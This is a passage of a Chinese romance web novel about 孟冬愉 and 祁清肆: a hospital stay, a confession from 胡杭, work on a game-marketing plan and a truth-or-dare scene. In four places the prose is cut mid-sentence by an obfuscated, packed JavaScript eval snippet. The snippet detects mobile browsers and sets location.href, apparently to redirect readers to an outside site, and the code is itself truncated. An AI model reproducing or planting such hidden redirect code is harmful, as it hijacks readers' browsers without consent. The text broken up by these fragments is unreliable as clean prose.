“这些年,他一直觉得亏欠我和祁振强。” 孟冬愉抿了抿唇角:“所以他是因为愧疚才……” 话没说完就被祁清肆打断,他扯了扯唇角:“我没觉得他欠我们什么。” “我也说过很多次,我妈不是因为救他才死的。” 前些日子的那几次争执孟冬愉刚好都在场。 从他们的对话中抽丝剥茧,她多少了解了事情的来龙去脉。 因为这件事情,祁清肆和童欣瑶的母亲吵过,和祁振强更是芥蒂很深。 所有人都觉得那是一场意外,只有祁清肆至今还在执拗般不去相信那个官方的死因。 看着他情绪再次低落了下来,孟冬愉叹了口气:“那胡杭不记得当时什么情况吗?” “他要是记得就好了。”祁清肆唇角染上一抹苦笑,“当时他才十多岁,不会游泳,被救上来时人是昏迷的,根本不知道发生了什么。” 连官方都说是意外,胡杭更会觉得是他的原因导致了祁清肆妈妈的死亡。 所以他想尽办法想去弥补,总是对祁清肆有求必应。 不同的立场会有不同的看法,孟冬愉张了张口,不知道接下来的话该不该说。 她蜷了蜷手指,犹豫了片刻,才抬手轻轻拍了拍祁清肆的肩膀:“你妈妈应该也不会想看到,你们所有人都困在她去世的这件事情中,出不来。” 祁清肆叹了口气:“起初我明确和胡杭说过,不需要他为我做什么。可越是这样,他就越觉得我是在记恨他。” 孟冬愉顺着他的话应声:“所以你才总是在一些小事上找他帮忙?” 祁清肆点头:“嗯,如果帮我做些什么能让他心里更好受点,不如就让他去做。” 原本温热的饭菜已经快要冷掉。 孟冬愉看着桌子上还剩大半的食物,转移了话题:“还吃吗?” 祁清肆摇头:“不用,已经饱了。” 孟冬愉将餐桌收拾好,祁清肆最后一瓶点滴也刚好输完。 护士来拔了针,而后再次叮嘱:“没事不要乱跑,好好休息,保持情绪稳定。” 然而护士前脚刚走,祁清肆后脚就要下床。 孟冬愉连忙阻止:“你做什么?” 祁清肆愣了一下,而后神色不自然地找了个借口:“消食。” 孟冬愉:“?” 都没见他吃多少,消什么食? 见孟冬愉拦着他坚持不肯让他下床,祁清肆语气有些僵硬地提醒:“孟冬愉,我不是神仙。” 什么神仙不神仙? 孟冬愉依旧没明白他的意思:“医生说,要你卧床静养。” 祁清肆耳尖开始泛红,他呼出一口气,咬牙切齿道:“我要去厕所,行了吗?” 孟冬愉:“……” 不早说。 去厕所就去厕所,有什么不好意思的,还值得拐弯抹角? 孟冬愉将拦着他下床的胳膊收回:“哦,去吧。” 祁清肆脚刚沾地,整个人就踉跄了一下。 孟冬愉连忙去扶他:“没事吧?” 祁清肆一只手撑着床头,蹙着眉头闭了闭眼,这次倒是没逞强:“有点晕。” “我扶你过去。”孟冬愉原本双手都扶着他的胳膊,为了方便他借力,索性直接用一只胳膊揽住了他的后腰。 祁清肆身体僵了一下,腰部肌肉收紧,耳尖的绯红一下子蔓延到耳根。 医院的病号服不算太厚,隔着有些粗糙的布料能感受她的手掌搭在他的腰侧,后腰的胳膊也用了些力气,努力去帮他维持平衡。 鼻尖萦绕着属于她的香味,他闻了很多次,都没分清究竟是茉莉还是橙花香。 祁清肆喉结滚了滚,声音染上哑意:“孟冬愉,我们什么关系啊?” 孟冬愉心思全在如何扶着他顺利往前走,没反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341163|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来他话里的意思:“你说什么?” 祁清肆笑了声,垂眼看她:“你手放的位置,不太对吧?” 孟冬愉:“?” 这个人怎么这么保守的? 都什么时候了?她都没说介意,他在介意什么? 孟冬愉有些无语地松开了手,板着脸道:“那你自己去吧。” 可能是她的胳膊收回得太过着急,祁清肆身体的重心没来得及调整,于是整个人再次向后倒。 孟冬愉见状手忙脚乱地伸出两只胳膊去拦。 刚因为这次有惊无险松了一口气,就听到祁清肆再次喊了她的名字:“孟冬愉。” 孟冬愉抬头去看他,神色疑惑:“怎么了?” “欺负我啊?”祁清肆视线落在她的胳膊上,唇角的笑意怎么都压不下来,“趁着我无力反抗,占我便宜?” 孟冬愉这才反应过来,她的两只胳膊圈着他的腰,就像是在主动抱他一样…… 意识到这个动作,孟冬愉猛地松开了手,脑子“嗡”地一声再次宕机。 视线再次相撞,祁清肆眸色沉了几分,漆黑的眸子中染了些平日里不曾看到的欲.望。 他的目光在她的眼睛上停留了片刻,而后明晃晃地下移,落到她的唇上。 孟冬愉想要挪动脚步,然而整个人却像是被钉住了一样,动弹不得。 心跳莫名加速,孟冬愉紧张地咽了咽口水,面对他一点点的靠近,下意识闭上了眼睛。 一秒、两秒、三秒…… 设想的那些并没有发生,祁清肆整个人径直朝她倒了过来。 肩颈上压下来的重力促使孟冬愉踉跄了一下,而后猛地清醒。 她有些惊慌地将他扶着,扬声问道:“祁清肆,你怎么了?” 耳畔传来他微弱的声音:“别动,晕。” 他下巴抵着她的肩膀,重重的鼻息喷落在她的肩头,许久之后才缓过劲儿来。 等他直起身来,孟冬愉才终于松了口气。 一路将他扶到卫生间门口,确认了他一个人可以,孟冬愉才放开了手。 只是祁清肆刚撑着走出了洗手间的门,就没能再撑住,径直晕了过去。 在护士和医生的共同帮助下,终于将祁清肆再次安置到床上。 仔仔细细地检查了一遍,确认了没什么大碍。 医生站在病床边,开始严肃地教育:“家属怎么回事儿?护士没交代过吗?病人要卧床静养,不要剧烈运动。” “他头上本来就失了很多血,猛地站起来,肯定供血不足。” 被头盖脸地教育了一顿,孟冬愉也有些委屈。 她抿了抿唇角,试图解释:“他要去厕所。” 医生闻言嘴角抽了抽:“入院时,领的那些东西,该用的还是要用。” “小伙子不好意思,又爱逞强,你身为家属,该管还是要管,不能任由着他胡闹。” 孟冬愉一下子明白了医生话里的意思。 她有些慌乱地想去解释:“我不是他……” 话没说完,就被祁清肆的声音压了下去:“嗯,我以后听话。” 42. 理清 孟冬愉回到满汀洲的时候,已经是晚上十点多。 洗漱好躺回床上,才发现童欣瑶给她发了消息。 【冬天姐姐,忙完了嘛?应该还没睡吧?】 【虽然我也很想你啦,但是还是要和你说一声,我国庆应该不回满汀洲了。】 童欣瑶刚开学那段时间,没少找孟冬愉聊天。 后面她们双方都有自己的事情要忙,联系的次数就越来越少。 童欣瑶突如其来的报备和“表白”,搞得孟冬愉有些懵。 孟冬愉迟疑了片刻,回她:【好的,还是因为你爸爸的身体原因吗?】 童欣瑶开学之前说中秋要回来,结果因为童父生病,她就没回。 时间过去那么久了,孟冬愉才意识到她好像还没问过童父康复了没有。 消息刚发出去,就收到童欣瑶的一条语音:【不是啦,我最近新谈了个男朋友,打算国庆和他一起出去玩,嘿嘿。】 少女的语调欢快,浸着甜蜜,孟冬愉听了不自觉跟着弯了弯眼睛。 她笑着在屏幕上输入一行字:【恭喜,旅途愉快。】 童欣瑶再次打开了话匣子,语音一串接一串地传来:【冬天姐姐,我和你讲,我原本没想和他谈的。我应该也和你说过,我的理想型真的是温柔的大哥哥,对年下没一点感觉。】 【但是实在没架住这个学弟的穷追猛打,最后还是答应了,在一起之后才发现,嘿嘿,体验感是真的好!】 【有句话怎么说来着,男人十八一枝花……嗯,不对……年少不知弟弟香……哎呀,冬天姐姐,你一定懂我的意思。】 孟冬愉将语音一条条点开听完,而后摇头失笑:【喜欢就好。】 童欣瑶又换了话题,接着吐槽:【祁清肆不知道怎么回事儿,中午的时候还给我发消息,说你想我了,问我国庆回不回来。我说我考虑一下,结果下午我再给他发消息,就不理我了。我来向你保证,寒假,寒假我一定回去!】 孟冬愉总算听明白了童欣瑶为什么突然发消息说想她。 喊人回来,还要以她为借口,挺像祁清肆的做事风格。 孟冬愉无奈地笑了下,向童欣瑶解释:【他下午受伤去了医院,应该没来得及回你消息。】 童欣瑶有点担忧:【受伤了?什么情况啊?严不严重?呃……以我舅舅的性格来看,估计不会去照顾他,我得和我妈说一声,让她过去看看。】 孟冬愉将事情的来龙去脉简单地概括了一下,又补充:【胡杭和我都在,不用麻烦阿姨来回跑。】 童欣瑶应该是听出了问题不大,于是也改了口:【也行,那我就先不说了,我妈去了也是啰嗦,到时候又要惹祁清肆烦。】 一连串的语音发完,童欣瑶又开始打字:【冬天姐姐,你最近怎么样?】 孟冬愉想了一下,笼统地回她:【还好。】 童欣瑶可能是没问到想问的答案,又接着补充:【你和那个温师兄怎么样了?】 提起温承卿,孟冬愉顿了一下,忽然又想起下午的时候,祁清肆也问过类似的话。 她此刻才反应过来他话里的意思。 幼稚鬼。 喂个饭都要拿出来对比炫耀。 孟冬愉唇角再次不自觉扬起,而后才意识到又被他牵扯了情绪。 她敛了敛神色,接着去回童欣瑶:【我和温师兄只是普通的同事,对彼此都没什么想法。】 童欣瑶:【这样的嘛?】 孟冬愉没有任何迟疑地确认:【嗯。】 对面的童欣瑶不知道是在忙还是在犹豫什么,过了好一会儿,才再次发了消息过来。 童欣瑶:【冬天姐姐,我偷偷问一下,你对祁清肆有想法嘛?】 看着屏幕上出现的一行字,孟冬愉心脏猛地一紧,脑海中再次浮现出在医院时的场景。 面对他带着欲.望的靠近,她挪不开脚步,也能明显感觉到自己在隐隐地期待什么。 这次没有酒精的催发,没有旖旎氛围的加持。 所以她找不到别的借口,来为她心底的悸动买单。 这些天累积起来的杂乱的情绪,终于在此刻理清—— 她想见他,不排斥他的靠近,不仅仅是因为贪恋他给予的那些温暖。 她确确实实地在为他这个人心动。 童欣瑶去学校之前,和她说过,要她听从自己的内心。 但是…… 孟冬愉攥紧手机,一时间不知道要怎么回她。 童欣瑶可能是见孟冬愉迟迟没有回音,消息再次发了过来: 【祁清肆这个人,虽然有时候挺招人烦的,但是做事还算靠谱,人也还行。】 【当然啦,我也不是要为他说话,就是觉得他好像还挺在意你的。】 【你要是对他有好感,不如谈一下试试看,反正到时候要是真不合适,把他甩了就好了。】 【这年头,又不是谈了恋爱就要奔着结婚去。】 【我们女人,就是要随心所欲一点,只尝爱情的甜,不吃爱情的苦。】 孟冬愉被童欣瑶的爱情观给逗笑,将她发来的消息读了几遍,而后回她:【好。】 又听童欣瑶聊了些学校里的趣事,两人才互道了晚安。 第二天开店时,祁振强明里暗里向孟冬愉打听了祁清肆的情况。 知道了事情的来龙去脉,祁振强才明显松了一口气。 下午的时候,幻宙的负责人再次给孟冬愉发了消息。 【姐妹,递上去的策划案我们老板看了,上午还特意喊我们开了场会。】 【策划案没什么太大的问题,但是合作的游戏我们老板想要换一下。】 本着合作利益最大化的原则,递上去的策划案是按照如今市场上最火的那款战略角色部署游戏来设计的。 换了游戏,也就意味着预计的效果会减弱。 孟冬愉向她确认:【要换哪款游戏啊?】 对面的解释很快发来: 【是这样的,我们公司前几年开发的那款恋爱养成类游戏——《春日遐想》,最近日活量在降低,所以我们老板想要在今年年末,把营销的资源都放在这款游戏上。】 【恋爱养成类游戏和战略模拟游戏受众不太一样,策划案可能还需要根据这款游戏的细节,再改一改。】 【你看是我这边改好和你对一下,还是你直接上手改?】 孟冬愉叹了口气,回她:【我来改吧,方案最晚什么时候给到你们?】 对面:【明天国庆我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361213|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休假,等我收假回来8号我们再对细节,可以吗?】 一切沟通妥当,孟冬愉望着手机屏幕上正在下载的游戏,再次叹了口气。 幻宙的游戏孟冬愉也算玩得七七八八,唯独没玩过《春日遐想》这款手游。 一方面是当时觉得不会和这款游戏合作。 另一方面是确实没兴趣,她总觉得对着虚构出来的电子人物谈情说爱,没什么意思。 但是如今要她根据这款游戏改策划案,她确实需要时间将游戏下载下来,从头到尾了解一下。 祁振强整个下午基本上都不在店里,到饭点前才回来。 他一进门就问孟冬愉:“吃饭了吗?” 之前店里就他们两个人,孟冬愉一般等祁振强吃完回来,才会去吃饭。 久而久之就养成了习惯。 孟冬愉看了眼时间,现在没到她的饭点,于是摇了摇头:“还没。” 话音未落,祁振强面色有些生硬地开口:“上楼一起吃。” 喊完孟冬愉,他又去喊还在叽叽喳喳讨论雕刻技巧的师妹们。 孟冬愉见状有些错愕。 相处了这么久,她倒是知道祁振强经常自己做饭,但是从来没被邀请过,去品尝他的手艺。 师弟师妹们闻言也有些战战兢兢。 一顿饭吃得小心翼翼,晚饭的收尾阶段,祁振强才将摆“鸿门宴”的意图说明。 他看了眼孟冬愉,指了指厨房锅里剩下的汤:“鸽子汤做多了,倒了也是浪费,等会儿你打包给那小子送去。” 这么大费周章地做一桌子菜,只是为了找个借口给祁清肆送饭。 明白了他的心思,孟冬愉忍着笑意点头。 临出发前,祁振强板着脸再次叮嘱:“别说是我做的,不然他指定要倒掉。” 孟冬愉到医院的时候,祁清肆刚好从病房隔壁的换药室出来。 他见到孟冬愉过来,原本环在胸前的双手立马去扶病房过道上的扶栏。 见站在祁清肆身旁的胡杭无动于衷,似乎没反应过来。 孟冬愉走过去用一只手扶他:“还头晕吗?” 祁清肆将身体往她身边倾斜了一点,而后点头:“晕。” 胡杭见状挠了挠头,有些疑惑:“肆哥,你不是说没事……” 话没说完,就被祁清肆剜了一眼,给打断:“我饿了,去买饭。” 孟冬愉晃了晃拎来的饭盒:“我带了饭,两个人应该够吃。” 祁清肆神色有些不满,依旧试图将胡杭给调走:“不够,他有手有脚的,自己去吃。” 胡杭不知道有没有领会到祁清肆的意思,但还是摆了摆手:“不用了冬愉姐,我刚好想回家一趟,我爸妈应该给我留了饭。” 将带来的饭菜摆上餐桌。 祁清肆看了眼菜品,有些惊讶地挑眉问道:“你做的?” 读书时学校有食堂,工作后公司也有食堂。 孟冬愉一直以来很少下厨,厨艺也并不怎么样,做出来的东西色香味俱无,只能说饿的时候能填饱肚子。 她有些心虚地抿了抿唇角:“我买的。” 祁清肆的视线在她脸上徘徊了片刻,而后哼笑一声,慢悠悠地将她拆穿:“孟冬愉,撒谎啊?” 43. 坦白 祁清肆的话音落,室内安静了一瞬。 孟冬愉大脑飞速运转,试图想出一个更合理的解释。 然而,没等到她想到理由,祁清肆就再次出了声。 “谎都不会撒。”祁清肆戏谑般评价,扯着唇角再次问道,“祁振强让你来的吧?” 闻言,孟冬愉抬头对上他的视线:“我自己想来的。” 祁清肆明显怔愣了一下,而后摇头:“不信。” 孟冬愉:“……” 她把心里话讲出来,他又不买账。 “自己想来的。”祁清肆重复她的话,语调带着浓浓的不满,“要是真想来,也不会等到晚上饭点,带着祁振强做的饭才来。” 孟冬愉深吸了口气,无奈地向他解释:“我白天还有工作没做完。” 祁清肆目光幽幽地总结:“所以,在你心中,祁振强比我重要。” 孟冬愉:“?” 什么歪理? 要说工作比他重要,她还能承认。 说祁振强比他重要,就是在无理取闹。 孟冬愉没搭腔,用汤匙搅拌了下冒着热气的鸽子汤,舀了勺汤汁递到他唇边:“吃不吃?” 祁清肆见状挑眉:“喂我啊?” 孟冬愉点头:“嗯。” 祁清肆依旧没有要吃的的意思:“这么主动,祁振强给你什么好处了?” “没有。”孟冬愉摇了摇头,再次看向他,实话实说,“是我担心你,想让你早点好起来。” 祁清肆见状微微顿了一下,继而勾着唇角点头:“孟冬愉,你还挺会哄人。” 抬着汤匙的胳膊有些发酸,孟冬愉态度强硬地再次重申:“你到底吃不吃?” 祁清肆将脸别开,故意与她唱反调:“不吃。” 软硬兼施都拿他没辙,孟冬愉将汤匙放入碗中:“不吃算了,我拿去喂路边的流浪狗。” “还担心我。”祁清肆有些委屈地小声嘀咕,“分明就是收了祁振强的好处。” 孟冬愉耐心耗尽,起身收拾餐盒:“随你怎么想,不吃我走了。” 话音刚落,就被祁清肆摁住了手腕:“我吃还不行吗?” 见他终于妥协,孟冬愉把餐盒再次打开,手指点了点桌面:“吃吧。” 祁清肆的视线顺着她的手指移到她的脸上:“怎么态度像喂狗一样?” 孟冬愉:“……” 对他脾气越好,他就越是得寸进尺。 童欣瑶说得一点没错,有的时候就是招人嫌。 祁清肆应该也意识到将孟冬愉惹恼了,神色带着点可怜巴巴的意味问道:“不喂我吗?” 孟冬愉面无表情地应声:“有手有脚的,自己吃。” 祁清肆拿起筷子,有些咬牙切齿:“行,我自作自受。” 知道就好。 见他老老实实吃起了饭,孟冬愉找了把椅子坐下,开始去研究那款下载好的恋爱养成类游戏。 游戏加载登录好,一道甜美的提示音响起:“冬天,你好。我是你的小助理小想,初次见面,快来选择你想要攻略的对象吧。温馨提示,点击和他们对话,可以听到他们的自我介绍哦。” 孟冬愉没带耳机过来,将手机完全静音,又影响体验感。 她将音量调到最小,而后按照提示点击屏幕。 一道道被著名CV配音的男声顺着手机听筒传出,自我介绍五花八门,有的成熟稳重,有的温柔似水,有的傲娇张扬…… 听着他们对她不同的称呼,孟冬愉莫名感到羞耻。 她忍着尴尬试图随便挑几个人物,想着快速进入游戏,就听到不远处正在吃饭的祁清肆忽地开口:“孟冬愉,干什么呢?” 孟冬愉心底“咯噔”一下,而后清了清嗓子,义正言辞地解释:“工作。” “工作?”祁清肆放下筷子,视线落到她的手机上,懒洋洋地点评,“还以为你在点男模呢?” 孟冬愉:“?” 没那么夸张吧? 而且他不是在吃饭吗?怎么还有心思去关注她在干什么? 祁清肆接着问:“喜欢什么类型的?” 孟冬愉思绪还停留在他说的男模上,一时间没反过来:“什么?” 祁清肆下巴点了点她的手机,解释:“不是让你选攻略对象吗?” 孟冬愉摇头,如实回答:“没什么喜欢的。” 祁清肆唇角挂着点笑意,听不出来是真的在和她讨论,还是在阴阳怪气:“那个温柔的,喊你‘宝贝’喊得那么顺口,你不喜欢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369624|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟冬愉:“……” 她已经将音量调得够小了,他得竖着耳朵听,才能听得这么仔细吧? 孟冬愉试图将话题的主动权拿回自己手中:“你听得这么认真,你喜欢哪个?” 祁清肆想都没想,就勾着唇角给了答案:“不停地喊你‘老婆’的那个,我觉得不错。” 孟冬愉再次去看了眼祁清肆说的那个人物的人设,而后忍着笑意点头:“嗯,我也觉得。” 祁清肆仿佛自己被夸了一样,神色染着一丝骄傲:“有品位。” 孟冬愉最后选了祁清肆推荐的那个,又另外随便选了两个,正式进入了游戏。 用了三四天的时间,孟冬愉总算把这款游戏的套路摸了个透彻。 这几天,胡杭见孟冬愉每次来医院,都抱着手机和游戏中的人物各种互动。 最后在和孟冬愉一起为祁清肆办理出院那天,胡杭终于忍不住问道:“冬愉姐,你最近是不是想谈恋爱了?” 闻言,孟冬愉拿着出院证明的手抖了一下,而后无奈地解释:“没有,工作需要。” “这样啊。”胡杭挠了挠头,支支吾吾了半天,才将话讲了出来,“那个,我是想说,你要是想谈恋爱的话,可以考虑下肆哥……和我。” 孟冬愉愣了愣,她一直觉得胡杭和童欣瑶是同一类人。 他们都有着和睦的家庭环境,在宠爱中长大。 他们真诚、单纯又善良,脑子里更没什么弯弯绕绕。 所以孟冬愉一直将胡杭对她的那些热情,归结为像童欣瑶对她那样,只是简单的热心肠。 她从来没有往别的方面想过。 没等孟冬愉开口,胡杭就开始语无伦次地解释:“我的意思是……假如你……就我和肆哥都单身,不是……我是说……” 胡杭有些自责地垂下头去:“对不起,冬愉姐,我只是……只是……” 面对这些有温度的人,往日的那些冷漠拒绝人的经验再次派不上用场。 孟冬愉抿了抿唇角,想了好一会儿要怎么委婉地拒绝他。 片刻后,她叹了口气,缓缓开口:“抱歉胡杭,我……” 话没说完,就被身后的祁清肆给打断:“孟冬愉,你要是想谈恋爱的话,只考虑我就行。” 44. 服输 孟冬愉闻声回头,胡杭也惊讶地跟着抬头。 办事大厅里人影憧憧,祁清肆不知道什么时候过来的,他面无表情地站在原地,辨不清情绪。 胡杭张了张口,有些吃惊:“肆哥,你也……” 像是知道胡杭在问什么一样,没等他的话说完,祁清肆就盯着孟冬愉,坦荡承认:“喜欢。” 没料到祁清肆将话讲得那么直白,胡杭闻言呆怔在原地。 这些天发生的一串串事情涌入脑海,他才突然间反应了过来。 胡杭自嘲地扯了扯唇角:“原来如此。” 祁清肆没搭腔,接过孟冬愉手中的出院证明,扯着她的手腕就往停车场方向走。 握着她手腕的力道有些重,孟冬愉没来得及反应,凭借着身体的惯性作用跟上了他的步伐。 出院前医生特意交代过,祁清肆回去之后还需要静养一段时间,不要驾驶,不能干重活,定期回来复查。 所以回去的车还得麻烦胡杭来开。 见胡杭还在原地站着,孟冬愉轻轻叹了口气,回头提醒他:“胡杭,要回去了。” 胡杭愣了一下,继而深呼了口气,加快步伐一路小跑跟了过去。 回去的路上,三个人都格外沉默。 车内放着嘈杂的摇滚乐,祁清肆坐在后排,头抵着座椅,轻蹙眉头,闭上了眼睛。 孟冬愉捕捉到他的动作,偏头看他,有些担忧地问道:“不舒服吗?” 祁清肆没睁眼,只是淡淡“嗯”了一声,再也没有后话。 一路回到满汀洲,孟冬愉扶着他上楼,将他送到房间,都没再听到祁清肆讲任何话。 饶是孟冬愉再迟钝,也看出来了他在因为医院的事情赌气。 只是,她并不清楚,他究竟在生什么气? 胡杭对她的心思她确实没想到,如今胡杭主动说了出来,她也是要拒绝的。 孟冬愉抿了抿唇角,试图和他把话说开:“祁清肆,你怎么了?” 祁清肆站在她面前,沉黑的眼睛微垂,视线锁在她的脸上,唇线绷直,依旧什么都不讲。 视线相交,却探寻无果。 孟冬愉再次叹了口气,妥协般结束话题:“你好好休息。” 她转身,手指握住门把手,想要帮他带上门,却被他扶着门框拦下。 孟冬愉再次抬头看他。 他垂头扯了下唇角,而后对上她的眼睛,嗓音带着点长久没讲话的哑:“孟冬愉,拒绝我拒绝得那么直接,怎么轮到胡杭,就舍不得了?” 孟冬愉闻言有些错愕。 他为什么会这么认为? 而且在医院时,明明是他先打断了她要拒绝的话。 孟冬愉不解地摇了摇头,只能去否认:“没有舍不得。” “没有。”祁清肆重复她的话,语气带着点淡嘲,“我在那里站了这么久,可没听到你对他说过一句重话。” 孟冬愉试图去解释:“我只是在想,要怎么委婉地拒绝他。” “那我呢?”祁清肆依旧盯着她看,声音似乎更哑了一些,“你当初拒绝我的时候,为什么就没想过委婉一点?” 孟冬愉顿了下,蓦地意识到,她在祁清肆面前好像很少去顾及他的情绪。 来到南江之后,大多数的冷言冷语好像都给了他。 没等她应声,祁清肆接着一字一句地将心里话道出:“孟冬愉,我没你想得那么没心没肺。” “面对你截然不同的态度,我会忍不住去比较,我究竟比胡杭差在哪儿?” 停顿了稍许,他喉结滚了滚,再次开口:“你在同一天认识的我和他,为什么对我,总是那么不公平呢?” 孟冬愉又忽然想起,和郑泽他们第一次拉群时,祁清肆也说过的同样的话。 他说:“既然要划清界限,就公平一点。” 他那个时候就已经发现她对他的态度,和对别人不一样了吗? 他的控诉像是密密麻麻的银针,推动着她的心脏在针尖上滚了又滚。 孟冬愉攥紧手指,话哽在喉咙处,觉得所有的解释都变得苍白。 她垂头,眼睫微颤:“抱歉。” “孟冬愉,我不是要你的道歉。”祁清肆叹了口气,语气放软,带着点商量的意味,“我尊重你的任何选择,也可以保证绝对不会伤害你,所以,能不能别总是对我防备心那么强?” 孟冬愉张了张口,想要说她其实已经对他放下防备了。 也想说她已经明确了自己的心意,她想要和他再相处下去试试看。 但是话到嘴边,却又觉得不该这么说,于是她点头:“嗯。” - 孟冬愉耗时几天将《春日遐想》这款游戏研究了个透彻,又在国庆小长假结束前,将和幻宙合作的策划案给改好,还润色了好几遍。 幻宙的市场负责人收假回来,和孟冬愉再次沟通了一下细节,方案递上去等了两天,终于通过层层审批,定了下来。 为了和孟冬愉进一步沟通活动接下来的分工,幻宙的负责人在领导的指示下,拉了个视频会议。 幻宙的领导层应该是第一次见孟冬愉的真面目,其中有一个神色严肃的中年女人向幻宙的市场负责人确认了好几遍,最后朝孟冬愉打招呼:“原本以为孟小姐的形象,应该是雷厉风行的职场精英,没想到本人看着更像一个清纯的小姑娘。” 可能是见孟冬愉不知道该如何称呼,幻宙的市场负责人主动为她介绍:“姐妹,这位是李总,特别看好你的能力,当初也是她让我去挖你的。” 孟冬愉笑了下,礼貌颔首:“感谢李总的认可。” 被称为李总的女人神色柔和了几分,再次问道:“考虑得怎么样了?要不要来幻宙?” 孟冬愉忽然间想起来,上次说考虑一下再给他们答复,后面因为各种事情就忘了回。 既然她当着这么多人的面主动问,确实需要给她一个答复。 刚接入会议时,孟冬愉就观察过,幻宙的会议室内,来的领导层中,女性占了一大半。 而在她的前司,领导层中的女性寥寥无几。 这让孟冬愉更加确定,幻宙这个公司递来的橄榄枝,是她一定不能错过的。 孟冬愉点头:“等这次的合作结束,我就向贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379428|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司投简历。” 闻言,李总笑了下:“行,等会议结束,我们加个联系方式,到时候简历直接投给我。” 一系列寒暄和介绍过后,会议才正式进入议题。 经过大家的共同商讨,所有的细节全部敲定,最后将活动时间定在了十月底。 孟冬愉将这个消息和祁振强讲了一声,而后根据幻宙提供的人物形象设计图,带着师弟师妹们共同进入活动的筹备阶段。 这期间,祁清肆遵医嘱一直在满汀洲静养,吃饭休息娱乐等各方面倒没让孟冬愉操心。 只不过他时不时会以身体不舒服为由,喊忙得昏天黑地的孟冬愉过去陪他。 孟冬愉每次问他哪里不舒服,他又支支吾吾说不出个所以然。 明知道是他为了见她使出的一些骗人的小手段,但孟冬愉总是次次上当,又拿他没辙。 忙碌的时间过得飞快。 十月下旬,祁清肆第三次复查结束,医生宣布可以恢复正常生活。 二号房大哥一直念叨的烧烤,终于被祁清肆提上了议程。 将近三个月的时间,满汀洲除了二号房的大哥和郑泽以外,早已经换了一批人。 孟冬愉每天早出晚归,加上童欣瑶又不在,她和后续入住的新租客甚至没见过几面。 这次烧烤将众人聚集了起来,大家像上次一样,在有说有笑中逐渐熟络。 众位男士依旧是烧烤的主力军,在祁清肆的指导下烤得有模有样。 南江秋意渐浓,天气也一天比一天冷。 男士们烧烤之余,女士们也没闲着,将买来的食材清洗干净,在院子里煮起了热气腾腾的火锅。 烧烤火锅双管齐下,众人的味蕾都得到了极大的满足。 酒足饭饱,有人提议来玩真心话大冒险。 孟冬愉对这种游戏本能地排斥,找借口说想回去休息,却被郑泽拦下。 郑泽看了眼时间,劝说道:“冬愉学姐,时间还早,陪大家玩几局嘛。” 众人闻言也跟着劝说。 孟冬愉最后只好无奈的妥协。 前几局孟冬愉都在忐忑中侥幸过关。 而二号房的大哥和郑泽,前者选真心话情感经历被大家扒了个底朝天,后者选大冒险把大家笑得前仰后翻。 孟冬愉也从原本的排斥,逐渐放开,融入了他们。 然而,刚看完郑泽倒立喝酒的表演,转盘的指针就指向了她。 而转动转盘的罪魁祸首郑泽,笑得嘚瑟:“冬愉学姐,可算让我转到你了。” 孟冬愉抿了抿唇角,愿赌服输:“我选真心话。” 郑泽捏着下巴思考了片刻,意味深长地问道:“有喜欢的人吗?” 孟冬愉闻言愣了一下,继而下意识看向不远处的祁清肆。 祁清肆懒散地坐着,手指有一搭没一搭地敲着桌面,仿佛对她的答案并不感兴趣。 似乎察觉到她的视线,他抬眼望了过来。 视线相撞,祁清肆神色微顿,而后笑意快速攀入眼眸。 他勾着唇角,向众人扬了扬手中的酒杯:“我替她喝。” 45. 喜欢 祁清肆的话音落,目光再次和孟冬愉的视线相融。 院子里光影错落。 丝丝缕缕的光线落入他的眼中,原本沉黑的眼睛变得灼灼。 孟冬愉觉得心脏好像被烫了一下,猛地收缩,而后如同擂鼓般剧烈跳动。 周遭沉寂了几秒,众人才回味出祁清肆话里的意思。 二号房的大哥率先调侃:“祁老板,我刚刚输了那么多次,你怎么不说替我喝呦?” 没等祁清肆应声,接连不断的起哄声在小院里回荡。 孟冬愉在调笑声中回神,偏头躲开了他的视线。 郑泽带着点揶揄的意味,学着二号房大哥的语气,扬声控场:“祁老板,你怎么还自作主张呦?” 